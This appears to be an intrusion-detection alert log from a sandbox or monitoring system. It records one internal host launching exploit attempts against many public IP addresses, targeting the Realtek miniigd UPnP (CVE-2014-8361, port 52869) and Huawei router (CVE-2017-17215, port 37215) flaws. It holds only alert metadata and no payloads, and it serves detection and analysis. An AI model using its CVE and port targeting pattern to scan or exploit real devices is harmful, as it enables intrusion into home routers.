ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 159.183.134.67

Timestamp:	07/20/24-23:01:43.843278
SID:	2831300
Source Port:	40052
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 123.145.45.176

Timestamp:	07/20/24-23:01:31.322110
SID:	2831300
Source Port:	46982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.23.204.131

Timestamp:	07/20/24-23:01:46.783122
SID:	2025132
Source Port:	42202
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.152.164.248

Timestamp:	07/20/24-23:01:54.859884
SID:	2025132
Source Port:	57070
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.209.80.73

Timestamp:	07/20/24-23:01:45.484487
SID:	2027339
Source Port:	51798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.213.14.74

Timestamp:	07/20/24-23:02:04.022245
SID:	2027339
Source Port:	51378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 24.200.205.123

Timestamp:	07/20/24-23:01:43.825431
SID:	2025132
Source Port:	58434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.208.141.188

Timestamp:	07/20/24-23:01:11.630649
SID:	2829579
Source Port:	43630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.13.238.183

Timestamp:	07/20/24-23:01:45.294002
SID:	2027339
Source Port:	37170
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.193.24.191

Timestamp:	07/20/24-23:01:48.394890
SID:	2027339
Source Port:	60250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.221.172.161

Timestamp:	07/20/24-23:01:45.511523
SID:	2027339
Source Port:	37662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 107.137.22.219

Timestamp:	07/20/24-23:01:51.183470
SID:	2025132
Source Port:	47738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.6.68.219

Timestamp:	07/20/24-23:02:42.973189
SID:	2027339
Source Port:	41250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.77.183.106

Timestamp:	07/20/24-23:02:01.256492
SID:	2027339
Source Port:	51580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.229.91.171

Timestamp:	07/20/24-23:01:41.919931
SID:	2027339
Source Port:	53412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.63.9.134

Timestamp:	07/20/24-23:01:59.676169
SID:	2027339
Source Port:	49278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.39.87.115

Timestamp:	07/20/24-23:01:45.298540
SID:	2831300
Source Port:	58416
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.189.26.199

Timestamp:	07/20/24-23:01:46.725077
SID:	2025132
Source Port:	33474
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.83.233.195

Timestamp:	07/20/24-23:03:46.099099
SID:	2027339
Source Port:	47524
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.126.153.94

Timestamp:	07/20/24-23:01:02.066908
SID:	2829579
Source Port:	37338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.80.209.101

Timestamp:	07/20/24-23:01:04.034952
SID:	2835222
Source Port:	51042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.246.199.209

Timestamp:	07/20/24-23:01:21.915268
SID:	2835222
Source Port:	44866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 24.167.37.167

Timestamp:	07/20/24-23:01:08.572790
SID:	2831300
Source Port:	56760
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.241.135.76

Timestamp:	07/20/24-23:00:59.204975
SID:	2829579
Source Port:	40842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.83.154.226

Timestamp:	07/20/24-23:01:07.075937
SID:	2835222
Source Port:	55146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.216.216.160

Timestamp:	07/20/24-23:01:45.472422
SID:	2027339
Source Port:	49628
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.233.134.27

Timestamp:	07/20/24-23:00:57.221132
SID:	2835222
Source Port:	37174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 81.64.188.238

Timestamp:	07/20/24-23:01:11.630767
SID:	2835222
Source Port:	46646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.74.75.114

Timestamp:	07/20/24-23:01:51.916673
SID:	2027339
Source Port:	35716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 160.67.56.20

Timestamp:	07/20/24-23:01:41.378872
SID:	2025132
Source Port:	38510
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 5.53.123.92

Timestamp:	07/20/24-23:01:08.677189
SID:	2831300
Source Port:	59056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.109.210.254

Timestamp:	07/20/24-23:01:42.608320
SID:	2027339
Source Port:	53230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 221.165.24.130

Timestamp:	07/20/24-23:01:02.054387
SID:	2835222
Source Port:	53574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 61.237.192.205

Timestamp:	07/20/24-23:02:17.110283
SID:	2831300
Source Port:	43866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.198.222.41

Timestamp:	07/20/24-23:01:20.110861
SID:	2835222
Source Port:	57564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 209.170.78.160

Timestamp:	07/20/24-23:01:42.651912
SID:	2831300
Source Port:	47200
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.241.141.173

Timestamp:	07/20/24-23:01:25.001980
SID:	2027339
Source Port:	40936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.5.79.111

Timestamp:	07/20/24-23:01:57.297792
SID:	2025132
Source Port:	36240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.193.87.124

Timestamp:	07/20/24-23:01:01.510385
SID:	2027339
Source Port:	44282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.188.148.79

Timestamp:	07/20/24-23:01:44.881852
SID:	2027339
Source Port:	47792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.81.74.58

Timestamp:	07/20/24-23:01:45.622888
SID:	2027339
Source Port:	57520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.18.60.159

Timestamp:	07/20/24-23:01:42.790558
SID:	2027339
Source Port:	33926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.196.127.144

Timestamp:	07/20/24-23:01:32.032492
SID:	2835222
Source Port:	53624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.27.196.147

Timestamp:	07/20/24-23:01:42.580745
SID:	2027339
Source Port:	36440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.138.109.222

Timestamp:	07/20/24-23:01:11.820979
SID:	2829579
Source Port:	50554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.242.14.128

Timestamp:	07/20/24-23:01:43.111685
SID:	2025132
Source Port:	39226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 200.2.226.98

Timestamp:	07/20/24-23:01:43.160211
SID:	2831300
Source Port:	38978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.225.33.253

Timestamp:	07/20/24-23:01:00.636533
SID:	2829579
Source Port:	52098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 190.5.182.99

Timestamp:	07/20/24-23:01:14.035496
SID:	2829579
Source Port:	34068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.10.234.63

Timestamp:	07/20/24-23:01:08.598416
SID:	2831300
Source Port:	38364
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 145.21.134.81

Timestamp:	07/20/24-23:01:45.096837
SID:	2831300
Source Port:	39946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.156.124.10

Timestamp:	07/20/24-23:01:41.897768
SID:	2027339
Source Port:	45198
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 205.45.42.138

Timestamp:	07/20/24-23:01:08.668802
SID:	2831300
Source Port:	37334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.160.117.230

Timestamp:	07/20/24-23:01:24.915904
SID:	2829579
Source Port:	36404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.91.73.111

Timestamp:	07/20/24-23:01:09.002255
SID:	2027339
Source Port:	38116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.42.244.253

Timestamp:	07/20/24-23:01:44.469869
SID:	2027339
Source Port:	53226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.162.241.10

Timestamp:	07/20/24-23:01:11.641686
SID:	2829579
Source Port:	33626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 119.225.217.146

Timestamp:	07/20/24-23:01:20.202325
SID:	2835222
Source Port:	49686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 211.143.251.133

Timestamp:	07/20/24-23:02:22.907274
SID:	2027339
Source Port:	36456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.205.238.167

Timestamp:	07/20/24-23:01:02.139489
SID:	2027339
Source Port:	52264
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.215.251.21

Timestamp:	07/20/24-23:01:43.243266
SID:	2027339
Source Port:	59672
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.219.238.149

Timestamp:	07/20/24-23:01:06.994337
SID:	2835222
Source Port:	45722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.170.117.213

Timestamp:	07/20/24-23:01:25.035135
SID:	2025132
Source Port:	57600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.71.115.72

Timestamp:	07/20/24-23:01:50.212921
SID:	2027339
Source Port:	43722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.86.156.82

Timestamp:	07/20/24-23:01:43.227281
SID:	2025132
Source Port:	47622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.156.134.177

Timestamp:	07/20/24-23:02:14.728323
SID:	2025132
Source Port:	55190
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 76.83.139.165

Timestamp:	07/20/24-23:01:24.603339
SID:	2025132
Source Port:	56536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.120.228.47

Timestamp:	07/20/24-23:01:57.269160
SID:	2025132
Source Port:	53070
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 210.201.123.76

Timestamp:	07/20/24-23:01:43.951862
SID:	2025132
Source Port:	55238
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.48.180.48

Timestamp:	07/20/24-23:01:46.158533
SID:	2027339
Source Port:	54662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.240.65.224

Timestamp:	07/20/24-23:01:14.090830
SID:	2835222
Source Port:	55840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.91.68.35

Timestamp:	07/20/24-23:01:42.985320
SID:	2027339
Source Port:	34902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.118.19.128

Timestamp:	07/20/24-23:01:00.648489
SID:	2829579
Source Port:	36536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.72.207.45

Timestamp:	07/20/24-23:01:32.076593
SID:	2829579
Source Port:	53012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.13.47.10

Timestamp:	07/20/24-23:01:42.688831
SID:	2027339
Source Port:	58266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.86.15.181

Timestamp:	07/20/24-23:01:53.432917
SID:	2027339
Source Port:	36590
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 46.179.46.173

Timestamp:	07/20/24-23:01:53.459445
SID:	2831300
Source Port:	56400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.92.216.124

Timestamp:	07/20/24-23:01:25.468217
SID:	2027339
Source Port:	54598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.20.237.244

Timestamp:	07/20/24-23:01:20.131339
SID:	2835222
Source Port:	60866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.181.35.71

Timestamp:	07/20/24-23:01:04.985241
SID:	2027339
Source Port:	44076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.187.188.100

Timestamp:	07/20/24-23:01:00.651026
SID:	2835222
Source Port:	51534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.1.231.94

Timestamp:	07/20/24-23:01:07.075937
SID:	2829579
Source Port:	45130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.56.81.141

Timestamp:	07/20/24-23:01:51.925038
SID:	2027339
Source Port:	36862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.65.35.124

Timestamp:	07/20/24-23:01:04.094795
SID:	2835222
Source Port:	49922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.49.83.49

Timestamp:	07/20/24-23:01:27.651187
SID:	2829579
Source Port:	49850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.90.235.184

Timestamp:	07/20/24-23:01:41.218109
SID:	2027339
Source Port:	35668
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.38.103.224

Timestamp:	07/20/24-23:01:42.276859
SID:	2027339
Source Port:	52278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 101.9.169.24

Timestamp:	07/20/24-23:01:42.643745
SID:	2831300
Source Port:	53628
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.212.169.191

Timestamp:	07/20/24-23:01:42.460493
SID:	2025132
Source Port:	41624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.226.155.34

Timestamp:	07/20/24-23:01:44.024775
SID:	2027339
Source Port:	45402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.211.74.184

Timestamp:	07/20/24-23:01:54.922661
SID:	2027339
Source Port:	41182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.62.106.68

Timestamp:	07/20/24-23:02:00.198960
SID:	2027339
Source Port:	51080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 80.176.127.107

Timestamp:	07/20/24-23:01:08.638879
SID:	2831300
Source Port:	36752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.16.71.7

Timestamp:	07/20/24-23:00:59.191389
SID:	2829579
Source Port:	43956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.22.35.81

Timestamp:	07/20/24-23:02:05.036436
SID:	2831300
Source Port:	49572
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.36.26.52

Timestamp:	07/20/24-23:01:56.910590
SID:	2027339
Source Port:	46702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.103.41.145

Timestamp:	07/20/24-23:02:15.172220
SID:	2025132
Source Port:	50336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.170.107.7

Timestamp:	07/20/24-23:01:42.717611
SID:	2027339
Source Port:	56282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.195.69.11

Timestamp:	07/20/24-23:01:07.114267
SID:	2835222
Source Port:	48818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

